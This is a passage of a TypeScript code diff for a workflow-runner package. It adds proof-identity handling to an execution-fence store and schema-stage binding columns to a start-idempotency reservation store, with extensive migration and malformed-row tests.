expect(malformed.fence.read()).rejects.toBeInstanceOf( - ExecutionFenceUnreadableError, + malformed.sqlite.exec( + `INSERT INTO ${EXECUTION_FENCE_TABLE} (id, state, updated_at) VALUES ('deployment', 'open', 19)`, ); - await expect(malformed.fence.seed('open')).rejects.toBeInstanceOf( - ExecutionFenceUnreadableError, + const before = rawFence(malformed.sqlite); + const writes: string[] = []; + const observed = new ExecutionFenceStore( + interceptedDatabase(malformed.db, async (sql, execute) => { + if (/^(CREATE|INSERT|UPDATE|ALTER)/.test(sql)) writes.push(sql); + return execute(); + }), ); - expect( - malformed.sqlite - .prepare(`SELECT * FROM ${EXECUTION_FENCE_TABLE}`) - .all(), - ).toEqual([]); + for (const action of [ + () => observed.read(), + () => observed.seed('open'), + ]) { + await expect(action()).rejects.toMatchObject({ + cause: { + name: 'DeploymentIdentityError', + message: schemaMessage(diagnostic), + }, + }); + } + expect(writes).toEqual([]); + expect(rawFence(malformed.sqlite)).toEqual(before); } }); @@ -1853,6 +2117,74 @@ function fencedRuntime(fence: ExecutionFenceStore): RunnerRuntime { } describe('RunnerRuntime enforcement', () => { + it('keeps current Runtime provenance and string-only fence behavior in this prerequisite', async () => { + const { sqlite, db } = fenceFixture(); + const { + createStep, + createWorkflow, + runtime, + executionFence, + startIdempotency, + } = init({ DB: db }); + await executionFence?.seed('open'); + const step = createStep({ + id: 'finish', + inputSchema: z.object({}), + outputSchema: z.object({ done: z.boolean() }), + execute: async () => ({ done: true }), + }); + createWorkflow({ + id: 'unchanged', + inputSchema: z.object({}), + outputSchema: z.object({ done: z.boolean() }), + }) + .then(step) + .commit(); + await startIdempotency?.reserve({ + key: 'key', + owner: { kind: 'human', id: 'owner' }, + targetKind: 'workflow', + targetId: 'unchanged', + mintRunId: () => 'run', + }); + await startIdempotency?.claim('key', 'run'); + const result = await runtime.start('unchanged', { + runId: 'run', + inputData: {}, + requestedBy: 'owner', + requestedByKind: 'human', + idempotencyKey: 'key', + }); + expect(result.status).toBe('success'); + const row = sqlite + .prepare( + 'SELECT snapshot FROM mastra_workflow_snapshot WHERE workflow_name = ? AND run_id = ?', + ) + .get('unchanged', 'run') as { snapshot: string }; + expect( + JSON.parse(row.snapshot).requestContext['flowsafe.runProvenance'].version, + ).toBe(1); + expect(await startIdempotency?.read('key')).toMatchObject({ + state: 'terminal', + binding: { kind: 'legacy' }, + }); + expect( + admitsExistingRun( + { + state: 'proof-only', + proofRunId: 'run', + proofExecution: { + tablePrefix: 'other_', + workflowId: 'other', + runId: 'run', + startToken: 'generation', + }, + }, + 'run', + ), + ).toBe(true); + }); + it('starts and resumes freely while open', async () => { const { fence } = fenceFixture(); await fence.seed('open'); diff --git a/packages/flowsafe/src/do-runner/execution-fence.ts b/packages/flowsafe/src/do-runner/execution-fence.ts index cd87633f..9a891cb5 100644 --- a/packages/flowsafe/src/do-runner/execution-fence.ts +++ b/packages/flowsafe/src/do-runner/execution-fence.ts @@ -43,6 +43,7 @@ import { type DeploymentIdentityProtocolExecutor, type DeploymentIdentityProtocolRow, decodeExecutionFenceMutationMetadata, + EXECUTION_FENCE_CURRENT_SCHEMA_STAGE, EXECUTION_FENCE_ROW_ID, EXECUTION_FENCE_STATES, EXECUTION_FENCE_TABLE, @@ -52,8 +53,15 @@ import { } from '#deployment-identity-protocol'; import { missingTableReadsEmpty } from './cause-chain.js'; import { DoStatusError } from './do-status-error.js'; +import { + type D1RunExecutionIdentity, + ExecutionFenceUnreadableError, + normalizeD1RunExecutionIdentity, +} from './execution-admission.js'; import { isPathSafeId } from './path-safe-id.js'; +export { ExecutionFenceUnreadableError } from './execution-admission.js'; + /** * The state vocabulary, the table, that table's fixed row key, and the DDL * built from all three are IMPORTED, never declared here — and they are not @@ -117,6 +125,8 @@ export interface ExecutionFenceReading { readonly mutationEpoch?: number; readonly requireMutationEpoch?: boolean; readonly transitionRevision?: number; + /** Server-side proof identity; omitted from the admin JSON projection. */ + readonly proofExecution?: D1RunExecutionIdentity; } /** An authoritative store reading, including durable administrative versioning. */ @@ -280,23 +290,6 @@ export class FenceTransitionConflictError extends DoStatusError { } } -/** - * The fence could not be READ. Deliberately distinct from - * ExecutionFencedError: no state was observed, so nothing may conclude the - * deployment is open — which is why this carries the same 503 a refusal does - * and every request-path caller lets it propagate. - */ -export class ExecutionFenceUnreadableError extends DoStatusError { - readonly status = 503; - readonly reason: { readonly code: 'EXECUTION_FENCE_UNREADABLE' }; - - constructor(message: string, options?: ErrorOptions) { - super(message, options); - this.name = 'ExecutionFenceUnreadableError'; - this.reason = { code: 'EXECUTION_FENCE_UNREADABLE' }; - } -} - /** * Render a fence refusal as the JSON response the taxonomy specifies. * @@ -594,6 +587,21 @@ function readingFromRow( } const proofKey = row.proof_key; const proofRunId = row.proof_run_id; + let proofExecution: D1RunExecutionIdentity | undefined; + if (metadata.proofStartToken !== null) { + proofExecution = normalizeD1RunExecutionIdentity({ + tablePrefix: metadata.proofTablePrefix, + workflowId: metadata.proofWorkflowId, + runId: proofRunId, + startToken: metadata.proofStartToken, + }); + if ( + proofExecution.tablePrefix !== metadata.proofTablePrefix || + !isPathSafeId(proofKey) + ) { + throw new Error('execution fence proof identity is not canonical'); + } + } if (metadata.lastTransitionRequest !== null) { const [, , next, key, epoch, revision, advance] = decodeTransitionReceipt( metadata.lastTransitionRequest, @@ -617,6 +625,7 @@ function readingFromRow( mutationEpoch: metadata.mutationEpoch, requireMutationEpoch: metadata.requireMutationEpoch, transitionRevision: metadata.transitionRevision, + ...(proofExecution === undefined ? {} : { proofExecution }), ...(typeof proofKey === 'string' && proofKey.length > 0 ? { proofKey } : {}), @@ -654,7 +663,7 @@ function returningFence(result: unknown): StoredExecutionFence | undefined { const row = rows[0]; if (row === undefined) return undefined; const stored = readingFromRow(row); - if (stored.schemaStage !== 4) + if (stored.schemaStage !== EXECUTION_FENCE_CURRENT_SCHEMA_STAGE) throw new Error('execution fence UPDATE returned a legacy row'); return stored; } @@ -727,7 +736,7 @@ export class ExecutionFenceStore { * question, and would turn a read-only replica or a revoked-write incident * into an outage instead of a degrade. * - * A missing table or legacy row reads as `open`. A missing modern row is + * A missing table or missing legacy row reads as `open`. A missing modern row is * unreadable and is never silently recreated. */ async read(): Promise { @@ -809,6 +818,7 @@ export class ExecutionFenceStore { .prepare( `UPDATE ${EXECUTION_FENCE_TABLE} SET state = ?1, proof_key = ?2, proof_run_id = NULL, + proof_table_prefix = NULL, proof_workflow_id = NULL, proof_start_token = NULL, mutation_epoch = mutation_epoch + ?3, require_mutation_epoch = CASE WHEN ?3 = 1 THEN 1 ELSE require_mutation_epoch END, transition_revision = transition_revision + 1, @@ -835,6 +845,7 @@ export class ExecutionFenceStore { .prepare( `UPDATE ${EXECUTION_FENCE_TABLE} SET state = ?, proof_key = ?, proof_run_id = NULL, + proof_table_prefix = NULL, proof_workflow_id = NULL, proof_start_token = NULL, transition_revision = transition_revision + 1, last_transition_request = NULL, updated_at = ? WHERE id = ? AND state = ? AND require_mutation_epoch = 0 @@ -916,7 +927,7 @@ export class ExecutionFenceStore { } const observed = await this.#readStored(); if (observed === undefined) return false; - if (observed.schemaStage < 4) { + if (observed.schemaStage < EXECUTION_FENCE_CURRENT_SCHEMA_STAGE) { await this.#initialize(observed.reading.state); await this.#readStored(); } diff --git a/packages/flowsafe/src/do-runner/index.ts b/packages/flowsafe/src/do-runner/index.ts index 54ddca4e..6c874a66 100644 --- a/packages/flowsafe/src/do-runner/index.ts +++ b/packages/flowsafe/src/do-runner/index.ts @@ -79,6 +79,26 @@ export { type DurableObjectRunOwner, type DurableObjectRunOwnershipStore, } from './durable-object.js'; +export { + assertMutationEpoch, + type D1RunExecutionIdentity, + type D1StartExecutionIdentity, + InvalidExecutionIdentityError, + InvalidMutationEpochError, + MUTATION_EPOCH_HEADER, + type MutationEpochContext, + MutationEpochMismatchError, + mutationEpochFromHeader, + normalizeD1RunExecutionIdentity, + normalizeMutationEpoch, + normalizeRunExecutionIdentity, + normalizeStartExecutionIdentity, + normalizeStartIdentity, + type RunExecutionIdentity, + type StartExecutionIdentity, + type StartIdentity, + stampMutationEpoch, +} from './execution-admission.js'; export { assertNoReservedExecutionContext, findReservedExecutionContextKey, @@ -248,8 +268,10 @@ export type { StartIdempotencyStoreOptions, StartIdempotencyWiring, StartReservation, + StartReservationBinding, StartReservationOutcome, StartReservationOwner, + StartReservationReading, StartReservationRefusal, StartReservationRequest, StartReservationState, diff --git a/packages/flowsafe/src/do-runner/start-idempotency.test.ts b/packages/flowsafe/src/do-runner/start-idempotency.test.ts index 0cb41c6a..47ba5969 100644 --- a/packages/flowsafe/src/do-runner/start-idempotency.test.ts +++ b/packages/flowsafe/src/do-runner/start-idempotency.test.ts @@ -31,8 +31,10 @@ import { isStartReservationRefusal, requireStartIdempotency, rollbackFencedStart, + START_IDEMPOTENCY_DDL, START_IDEMPOTENCY_TABLE, type StartIdempotencyDatabase, + type StartIdempotencyStatement, StartIdempotencyStore, StartIdempotencyUnsupportedError, type StartReservation, @@ -60,6 +62,59 @@ function rows(sqlite: SqliteDatabase): Array> { .all() as Array>; } +const bindingColumns = [ + 'start_token', + 'start_table_prefix', + 'start_workflow_id', +]; +const legacyBinding = { + start_token: null, + start_table_prefix: null, + start_workflow_id: null, +}; + +function schemaHarness(stage: number) { + const fixture = harness(); + fixture.sqlite.exec(START_IDEMPOTENCY_DDL); + for (const column of bindingColumns.slice(stage).reverse()) + fixture.sqlite.exec( + `ALTER TABLE ${START_IDEMPOTENCY_TABLE} DROP COLUMN ${column}`, + ); + fixture.sqlite + .prepare( + `INSERT INTO ${START_IDEMPOTENCY_TABLE} (key, owner_kind, owner_id, target_kind, target_id, run_id, thread_id, state, created_at, updated_at) VALUES ('key', 'human', 'operator-1', 'workflow', 'payout', 'run', NULL, 'started', 10, 20)`, + ) + .run(); + return fixture; +} + +function interceptReservations( + db: StartIdempotencyDatabase, + intercept: (sql: string, execute: () => Promise) => Promise, +): StartIdempotencyDatabase { + const statement = ( + sql: string, + values: unknown[], + ): StartIdempotencyStatement => ({ + bind: (...bound) => statement(sql, bound), + run: () => + intercept(sql, () => + db + .prepare(sql) + .bind(...values) + .run(), + ), + all: async () => + (await intercept(sql, () => + db + .prepare(sql) + .bind(...values) + .all(), + )) as { results: T[] }, + }); + return { prepare: (sql) => statement(sql, []) }; +} + function workflowRequest(key: string, runId: string, workflowId = 'payout') { return { key, @@ -128,6 +183,578 @@ describe('isStartReservationRefusal', () => { }); }); +describe('reservation binding representation', () => { + it('reads legacy and supported partial reservation schemas without DDL', async () => { + for (const stage of [0, 1, 2, 3]) { + const { sqlite, binding } = schemaHarness(stage); + const statements: string[] = []; + const store = new StartIdempotencyStore( + interceptReservations(binding, async (sql, execute) => { + statements.push(sql); + return execute(); + }), + ); + expect(await store.read('key')).toMatchObject({ + key: 'key', + binding: { kind: 'legacy' }, + }); + expect(await store.reservationsForRuns(['run'])).toHaveLength(1); + expect(await store.read('missing')).toBeUndefined(); + sqlite.exec(`DELETE FROM ${START_IDEMPOTENCY_TABLE}`); + expect(await store.read('key')).toBeUndefined(); + expect(await store.reservationsForRuns(['run'])).toEqual([]); + expect(statements.every((sql) => /^(SELECT|PRAGMA)/.test(sql))).toBe( + true, + ); + expect( + sqlite.prepare(`PRAGMA table_xinfo(${START_IDEMPOTENCY_TABLE})`).all(), + ).toHaveLength(10 + stage); + } + const { sqlite, binding, store } = schemaHarness(0); + expect((await store.read('key'))?.binding).toEqual({ kind: 'legacy' }); + let advanced = false; + const reader = new StartIdempotencyStore( + interceptReservations(binding, async (sql, execute) => { + const result = await execute(); + if (!advanced && sql.startsWith('SELECT *')) { + advanced = true; + for (const column of bindingColumns) + sqlite.exec( + `ALTER TABLE ${START_IDEMPOTENCY_TABLE} ADD COLUMN ${column} TEXT`, + ); + sqlite.exec( + `UPDATE ${START_IDEMPOTENCY_TABLE} SET start_token = 'generation', start_table_prefix = '', start_workflow_id = 'payout'`, + ); + } + return result; + }), + ); + expect((await reader.read('key'))?.binding).toEqual({ kind: 'legacy' }); + expect((await store.read('key'))?.binding).toEqual({ + kind: 'bound', + execution: { + tablePrefix: '', + workflowId: 'payout', + runId: 'run', + startToken: 'generation', + }, + }); + }); + + it('resumes concurrent reservation schema upgrades without changing rows', async () => { + for (const stopAfter of [1, 2, 3]) { + const { sqlite, binding } = schemaHarness(0); + const before = rows(sqlite)[0]; + let additions = 0; + let stopped = false; + const crashed = new StartIdempotencyStore( + interceptReservations(binding, async (sql, execute) => { + if (stopped) throw new Error('process interrupted'); + const result = await execute(); + if (sql.startsWith('ALTER TABLE') && ++additions === stopAfter) + stopped = true; + return result; + }), + ); + await expect( + crashed.reserve(workflowRequest('new', 'new-run')), + ).rejects.toBeInstanceOf(StartReservationUnreadableError); + expect( + sqlite.prepare(`PRAGMA table_xinfo(${START_IDEMPOTENCY_TABLE})`).all(), + ).toHaveLength(10 + stopAfter); + const recovered = new StartIdempotencyStore(binding); + await recovered.reserve(workflowRequest('new', 'new-run')); + expect( + sqlite + .prepare(`SELECT * FROM ${START_IDEMPOTENCY_TABLE} WHERE key = 'key'`) + .get(), + ).toEqual({ ...before, ...legacyBinding }); + } + for (const outcome of ['before', 'after', 'incompatible'] as const) { + const { sqlite, binding } = schemaHarness(0); + const failure = new Error('ALTER response lost'); + let injected = false; + const store = new StartIdempotencyStore( + interceptReservations(binding, async (sql, execute) => { + if (injected || !sql.startsWith('ALTER TABLE')) return execute(); + injected = true; + if (outcome === 'after') await execute(); + if (outcome === 'incompatible') + sqlite.exec( + `ALTER TABLE ${START_IDEMPOTENCY_TABLE} ADD COLUMN start_token INTEGER`, + ); + throw failure; + }), + ); + if (outcome === 'after') + await expect( + store.reserve(workflowRequest('new', 'new-run')), + ).resolves.toMatchObject({ + reservation: { binding: { kind: 'legacy' } }, + }); + else { + const error = await store + .reserve(workflowRequest('new', 'new-run')) + .catch((error: unknown) => error); + expect(error).toBeInstanceOf(StartReservationUnreadableError); + if (outcome === 'before') { + expect((error as Error).cause).toBe(failure); + await expect( + store.reserve(workflowRequest('retry', 'retry-run')), + ).resolves.toMatchObject({ created: true }); + } else + expect(String((error as Error).cause)).toContain( + 'column start_token differs', + ); + } + } + const { sqlite, binding, store: competing } = schemaHarness(0); + let raced = false; + const first = new StartIdempotencyStore( + interceptReservations(binding, async (sql, execute) => { + if (!raced && sql.startsWith('ALTER TABLE')) { + raced = true; + await competing.reserve(workflowRequest('other', 'other-run')); + } + return execute(); + }), + ); + await first.reserve(workflowRequest('first', 'first-run')); + expect(rows(sqlite)).toHaveLength(3); + expect( + sqlite.prepare(`PRAGMA table_xinfo(${START_IDEMPOTENCY_TABLE})`).all(), + ).toHaveLength(13); + const empty = harness(); + const hostReady = new StartIdempotencyStore(empty.binding, { + ready: async () => { + empty.sqlite.exec(START_IDEMPOTENCY_DDL); + }, + }); + await expect( + hostReady.reserve(workflowRequest('new', 'run')), + ).resolves.toMatchObject({ created: true }); + const legacy = schemaHarness(0); + const noMigration = new StartIdempotencyStore(legacy.binding, { + ready: async () => {}, + }); + await expect( + noMigration.reserve(workflowRequest('new', 'run')), + ).rejects.toMatchObject({ + cause: { + message: `${START_IDEMPOTENCY_TABLE} has an invalid reservation schema (host readiness did not reach the current schema)`, + }, + }); + expect( + legacy.sqlite + .prepare(`PRAGMA table_xinfo(${START_IDEMPOTENCY_TABLE})`) + .all(), + ).toHaveLength(10); + }); + + it('distinguishes legacy unbound D1-bound and unfenced-bound reservations', async () => { + const { sqlite, store, binding } = schemaHarness(3); + for (const [token, prefix, workflow, expected] of [ + [null, null, null, { kind: 'legacy' }], + ['', null, null, { kind: 'unbound' }], + [ + 'generation', + '', + 'payout', + { + kind: 'bound', + execution: { + tablePrefix: '', + workflowId: 'payout', + runId: 'run', + startToken: 'generation', + }, + }, + ], + [ + 'generation', + null, + 'payout', + { + kind: 'bound', + execution: { + tablePrefix: null, + workflowId: 'payout', + runId: 'run', + startToken: 'generation', + }, + }, + ], + ] as const) { + sqlite + .prepare( + `UPDATE ${START_IDEMPOTENCY_TABLE} SET start_token = ?, start_table_prefix = ?, start_workflow_id = ?`, + ) + .run(token, prefix, workflow); + expect((await store.read('key'))?.binding).toEqual(expected); + } + for (const values of [ + [null, '', null], + ['', '', null], + ['generation', null, null], + ['generation', 'Mixed_', 'payout'], + ['bad token', '', 'payout'], + ['generation', '', 'bad/workflow'], + ]) { + sqlite + .prepare( + `UPDATE ${START_IDEMPOTENCY_TABLE} SET start_token = ?, start_table_prefix = ?, start_workflow_id = ?`, + ) + .run(...values); + await expect(store.read('key')).rejects.toBeInstanceOf( + StartReservationUnreadableError, + ); + } + sqlite.exec( + `UPDATE ${START_IDEMPOTENCY_TABLE} SET start_token = 'generation', start_table_prefix = '', start_workflow_id = 'payout', target_kind = 'agent'`, + ); + await expect(store.read('key')).rejects.toBeInstanceOf( + StartReservationUnreadableError, + ); + sqlite.exec( + `UPDATE ${START_IDEMPOTENCY_TABLE} SET target_kind = 'workflow', start_token = NULL, start_table_prefix = NULL, start_workflow_id = NULL`, + ); + for (const result of [ + null, + {}, + { results: null }, + { results: [undefined] }, + { results: new Array(1) }, + { results: [], success: false }, + ]) { + const corrupt = new StartIdempotencyStore( + interceptReservations(binding, async (sql, execute) => + sql.startsWith('SELECT *') ? result : execute(), + ), + ); + await expect(corrupt.read('key')).rejects.toBeInstanceOf( + StartReservationUnreadableError, + ); + } + for (const stage of [1, 2]) { + const partial = schemaHarness(stage); + partial.sqlite.exec( + `UPDATE ${START_IDEMPOTENCY_TABLE} SET start_token = ''`, + ); + await expect(partial.store.read('key')).rejects.toMatchObject({ + cause: { + message: `${START_IDEMPOTENCY_TABLE} has an invalid reservation schema (partial binding is not legacy defaults)`, + }, + }); + await expect( + partial.store.reserve(workflowRequest('new', 'new-run')), + ).rejects.toBeInstanceOf(StartReservationUnreadableError); + expect( + partial.sqlite + .prepare(`PRAGMA table_xinfo(${START_IDEMPOTENCY_TABLE})`) + .all(), + ).toHaveLength(10 + stage); + } + for (const [schema, field] of [ + [ + START_IDEMPOTENCY_DDL.replace( + 'start_token TEXT', + 'start_token INTEGER', + ), + 'start_token', + ], + [ + START_IDEMPOTENCY_DDL.replace( + 'start_table_prefix TEXT', + 'start_table_prefix TEXT DEFAULT NULL', + ), + 'start_table_prefix', + ], + [ + START_IDEMPOTENCY_DDL.replace( + 'owner_id TEXT NOT NULL,\n target_kind', + 'target_id_alias TEXT NOT NULL,\n target_kind', + ), + 'owner_id', + ], + ] as const) { + const malformed = harness(); + malformed.sqlite.exec(schema); + const ownerColumn = schema.includes('target_id_alias') + ? 'target_id_alias' + : 'owner_id'; + malformed.sqlite.exec( + `INSERT INTO ${START_IDEMPOTENCY_TABLE} (key,owner_kind,${ownerColumn},target_kind,target_id,run_id,state,created_at,updated_at) VALUES ('key','human','operator-1','workflow','payout','run','started',10,20)`, + ); + await expect(malformed.store.read('key')).rejects.toMatchObject({ + cause: { + message: `${START_IDEMPOTENCY_TABLE} has an invalid reservation schema (column ${field} differs)`, + }, + }); + } + }); + + it('keeps reserve claim release and settle on legacy-null rows in A', async () => { + const { store, sqlite } = harness(); + const created = await store.reserve(workflowRequest('key', 'run')); + expect(created.reservation.binding).toEqual({ kind: 'legacy' }); + expect(await store.claim('key', 'run')).toBe(true); + expect(await store.release('key', 'run')).toBe(true); + expect(await store.claim('key', 'run')).toBe(true); + expect(await store.settleRun('run')).toBe(1); + expect(rows(sqlite)).toEqual([ + expect.objectContaining({ ...legacyBinding, state: 'terminal' }), + ]); + }); + + it('captures the first ready getter result with the store receiver', async () => { + const { sqlite, binding } = harness(); + let getterReads = 0; + const calls: number[] = []; + const receivers: StartIdempotencyStore[] = []; + const store = new StartIdempotencyStore(binding, { + get ready() { + const selected = ++getterReads; + return async function (this: StartIdempotencyStore) { + calls.push(selected); + receivers.push(this); + sqlite.exec(START_IDEMPOTENCY_DDL); + }; + }, + }); + await store.reserve(workflowRequest('first', 'first-run')); + await store.reserve(workflowRequest('second', 'second-run')); + expect(getterReads).toBe(1); + expect(calls).toEqual([1, 1]); + expect(receivers).toEqual([store, store]); + }); + + it('captures reserve authority and mint callback before readiness waits', async () => { + const { sqlite, binding } = harness(); + let calls = 0; + const request = { + key: 'key', + owner: { ...OWNER, id: 'operator-1' }, + targetKind: 'agent' as 'agent' | 'workflow', + targetId: 'agent', + threadId: 'thread', + marker: 'receiver', + mintRunId() { + expect(this.marker).toBe('receiver'); + calls += 1; + this.targetId = 'mint-mutated'; + return 'run'; + }, + }; + const store = new StartIdempotencyStore(binding, { + ready: async () => { + sqlite.exec(START_IDEMPOTENCY_DDL); + request.owner.id = 'other'; + request.targetKind = 'workflow'; + request.targetId = 'changed'; + request.threadId = 'changed'; + request.mintRunId = () => { + throw new Error('replacement mint'); + }; + }, + }); + const created = await store.reserve(request); + expect(calls).toBe(1); + expect(created.reservation).toMatchObject({ + owner: OWNER, + targetKind: 'agent', + targetId: 'agent', + threadId: 'thread', + runId: 'run', + binding: { kind: 'legacy' }, + }); + const counts = new Map(); + const data = workflowRequest('getter-key', 'getter-run'); + const getters = Object.defineProperties( + {}, + Object.fromEntries( + Object.entries(data).map(([field, value]) => [ + field, + { + get() { + const count = (counts.get(field) ?? 0) + 1; + counts.set(field, count); + return count === 1 ? value : 'changed'; + }, + }, + ]), + ), + ); + await expect( + new StartIdempotencyStore(binding).reserve(getters as typeof data), + ).resolves.toMatchObject({ + created: true, + reservation: { targetId: 'payout' }, + }); + expect([...counts.values()].every((count) => count === 1)).toBe(true); + const invalid = harness(); + await expect( + invalid.store.reserve({ + ...workflowRequest('key', 'run'), + mintRunId: false as never, + }), + ).rejects.toBeInstanceOf(InvalidStartIdempotencyRequestError); + expect( + invalid.sqlite + .prepare('SELECT name FROM sqlite_schema WHERE type = ?') + .all('table'), + ).toEqual([]); + const shadowed = harness(); + let readyCalls = 0; + let mintCalls = 0; + const mint = () => { + mintCalls += 1; + return 'captured-run'; + }; + const ready = async () => { + readyCalls += 1; + shadowed.sqlite.exec(START_IDEMPOTENCY_DDL); + Object.defineProperty(mint, 'call', { value: () => 'replacement-run' }); + }; + Object.defineProperty(ready, 'call', { + value: () => { + throw new Error('shadowed call invoked'); + }, + }); + await expect( + new StartIdempotencyStore(shadowed.binding, { ready }).reserve({ + ...workflowRequest('shadowed', 'unused'), + mintRunId: mint, + }), + ).resolves.toMatchObject({ reservation: { runId: 'captured-run' } }); + expect([readyCalls, mintCalls]).toEqual([1, 1]); + }); + + it.each([ + { + name: 'a binding tail hole', + missingToken: true, + schemaStage: 3, + cause: 'binding prefix has a hole', + }, + { + name: 'a row binding ahead of the schema', + missingToken: false, + schemaStage: 2, + cause: 'schema observation precedes row binding', + }, + ])('rejects $name without writes', async (scenario) => { + const { sqlite, binding } = schemaHarness(3); + const before = rows(sqlite); + const observed = before.map((row) => ({ ...row })); + if (scenario.missingToken) { + for (const row of observed) delete row.start_token; + } + const schema = sqlite + .prepare(`PRAGMA table_xinfo(${START_IDEMPOTENCY_TABLE})`) + .all(); + const statements: string[] = []; + const store = new StartIdempotencyStore( + interceptReservations(binding, async (sql, execute) => { + statements.push(sql); + if (sql.startsWith('SELECT *')) return { results: observed }; + if (sql.startsWith('PRAGMA')) + return { results: schema.slice(0, 10 + scenario.schemaStage) }; + return execute(); + }), + ); + for (const read of [ + () => store.read('key'), + () => store.reservationsForRuns(['run']), + ]) { + const error = await read().catch((error: unknown) => error); + expect(error).toBeInstanceOf(StartReservationUnreadableError); + expect((error as StartReservationUnreadableError).status).toBe(503); + expect(String((error as Error).cause)).toContain(scenario.cause); + } + expect(statements.every((sql) => /^(SELECT|PRAGMA)/.test(sql))).toBe(true); + expect(rows(sqlite)).toEqual(before); + expect( + sqlite.prepare(`PRAGMA table_xinfo(${START_IDEMPOTENCY_TABLE})`).all(), + ).toEqual(schema); + }); + + it('rejects invalid reservation observations without absence fallback', async () => { + const { sqlite, binding } = schemaHarness(3); + const valid = rows(sqlite)[0]; + if (valid === undefined) throw new Error('fixture reservation is missing'); + const cases = [ + { + name: 'wrong key', + rows: [{ ...valid, key: 'other-key' }], + lookup: false, + schemaMissing: false, + cause: 'requested singleton key', + }, + { + name: 'multiple rows', + rows: [valid, valid], + lookup: false, + schemaMissing: false, + cause: 'requested singleton key', + }, + { + name: 'foreign run', + rows: [{ ...valid, run_id: 'other-run' }], + lookup: true, + schemaMissing: false, + cause: 'unrequested run', + }, + ...Object.keys(valid) + .slice(0, 10) + .map((field) => { + const copy = { ...valid }; + delete copy[field]; + return { + name: `missing ${field}`, + rows: [copy], + lookup: false, + schemaMissing: false, + cause: `row is missing ${field}`, + }; + }), + ...[[], [valid]].map((result) => ({ + name: 'schema disappeared', + rows: result, + lookup: false, + schemaMissing: true, + cause: 'row observation has no schema', + })), + ]; + for (const scenario of cases) { + const statements: string[] = []; + const store = new StartIdempotencyStore( + interceptReservations(binding, async (sql, execute) => { + statements.push(sql); + if (sql.startsWith('SELECT *')) return { results: scenario.rows }; + if (scenario.schemaMissing && sql.startsWith('PRAGMA')) + return { results: [] }; + return execute(); + }), + ); + const error = await (scenario.lookup + ? store.reservationsForRuns(['run']) + : store.read('key') + ).catch((error: unknown) => error); + expect(error, scenario.name).toBeInstanceOf( + StartReservationUnreadableError, + ); + expect((error as StartReservationUnreadableError).status).toBe(503); + expect(String((error as Error).cause), scenario.name).toContain( + scenario.cause, + ); + expect(statements.every((sql) => /^(SELECT|PRAGMA)/.test(sql))).toBe( + true, + ); + expect(rows(sqlite)).toEqual([valid]); + } + }); +}); + describe('StartIdempotencyStore.reserve', () => { it('creates the reservation and reports the caller as its creator', async () => { // #given a key nobody has used diff --git a/packages/flowsafe/src/do-runner/start-idempotency.ts b/packages/flowsafe/src/do-runner/start-idempotency.ts index e5a52313..e7583908 100644 --- a/packages/flowsafe/src/do-runner/start-idempotency.ts +++ b/packages/flowsafe/src/do-runner/start-idempotency.ts @@ -92,6 +92,11 @@ import { } from '../approval-api/principal-identity.js'; import { missingTableReadsEmpty } from './cause-chain.js'; import { DoStatusError } from './do-status-error.js'; +import { + normalizeRunExecutionIdentity, + normalizeStartIdentity, + type RunExecutionIdentity, +} from './execution-admission.js'; import type { ExecutionFenceWiring } from './execution-fence.js'; import { isExecutionFenceRefusal } from './execution-fence.js'; import { isPathSafeId } from './path-safe-id.js'; @@ -169,6 +174,16 @@ export interface StartReservation { * column the purge horizon is measured from once the row is terminal. */ readonly updatedAt: number; + readonly binding?: StartReservationBinding; +} + +export type StartReservationBinding = + | { readonly kind: 'legacy' } + | { readonly kind: 'unbound' } + | { readonly kind: 'bound'; readonly execution: RunExecutionIdentity }; + +export interface StartReservationReading extends StartReservation { + readonly binding: StartReservationBinding; } export interface StartReservationRequest { @@ -203,7 +218,7 @@ export interface StartReservationRequest { export interface StartReservationOutcome { /** The authoritative reservation — this caller's, or the winner's. */ - reservation: StartReservation; + reservation: StartReservationReading; /** * Whether THIS call created the row. Only a creator may go straight to the * claim; everyone else takes the replay path, which is where the "what @@ -507,7 +522,7 @@ const OWNER_KIND_CHECK = EXECUTION_PRINCIPAL_KINDS.map( * an unknown state would otherwise be a reservation no CAS can advance and no * purge can reap — a permanently wedged key. */ -export const START_IDEMPOTENCY_DDL = `CREATE TABLE IF NOT EXISTS ${START_IDEMPOTENCY_TABLE} ( +const START_IDEMPOTENCY_BASE_COLUMNS = ` key TEXT PRIMARY KEY, owner_kind TEXT NOT NULL CHECK (owner_kind IN (${OWNER_KIND_CHECK})), owner_id TEXT NOT NULL, @@ -517,7 +532,31 @@ export const START_IDEMPOTENCY_DDL = `CREATE TABLE IF NOT EXISTS ${START_IDEMPOT thread_id TEXT, state TEXT NOT NULL CHECK (state IN (${STATE_CHECK})), created_at INTEGER NOT NULL, - updated_at INTEGER NOT NULL + updated_at INTEGER NOT NULL`; +const START_IDEMPOTENCY_ADDITIONS = [ + 'start_token TEXT', + 'start_table_prefix TEXT', + 'start_workflow_id TEXT', +] as const; +const START_IDEMPOTENCY_COLUMNS = [ + ['key', 'TEXT', 0, 1], + ['owner_kind', 'TEXT', 1, 0], + ['owner_id', 'TEXT', 1, 0], + ['target_kind', 'TEXT', 1, 0], + ['target_id', 'TEXT', 1, 0], + ['run_id', 'TEXT', 1, 0], + ['thread_id', 'TEXT', 0, 0], + ['state', 'TEXT', 1, 0], + ['created_at', 'INTEGER', 1, 0], + ['updated_at', 'INTEGER', 1, 0], + ['start_token', 'TEXT', 0, 0], + ['start_table_prefix', 'TEXT', 0, 0], + ['start_workflow_id', 'TEXT', 0, 0], +] as const; +type StartReservationSchemaStage = 0 | 1 | 2 | 3; + +export const START_IDEMPOTENCY_DDL = `CREATE TABLE IF NOT EXISTS ${START_IDEMPOTENCY_TABLE} (${START_IDEMPOTENCY_BASE_COLUMNS}, + ${START_IDEMPOTENCY_ADDITIONS.join(',\n ')} )`; /** @@ -533,17 +572,85 @@ export const START_IDEMPOTENCY_RUN_INDEX_DDL = `CREATE INDEX IF NOT EXISTS ${STA export const START_IDEMPOTENCY_STATE_INDEX_DDL = `CREATE INDEX IF NOT EXISTS ${START_IDEMPOTENCY_TABLE}_state ON ${START_IDEMPOTENCY_TABLE} (state, updated_at)`; -interface StartReservationRow { - key?: unknown; - owner_kind?: unknown; - owner_id?: unknown; - target_kind?: unknown; - target_id?: unknown; - run_id?: unknown; - thread_id?: unknown; - state?: unknown; - created_at?: unknown; - updated_at?: unknown; +type StartReservationRow = Readonly>; + +class ReservationSchemaError extends Error { + constructor(reason: string) { + super( + `${START_IDEMPOTENCY_TABLE} has an invalid reservation schema (${reason})`, + ); + this.name = 'ReservationSchemaError'; + } +} + +function reservationResultRows(result: unknown): 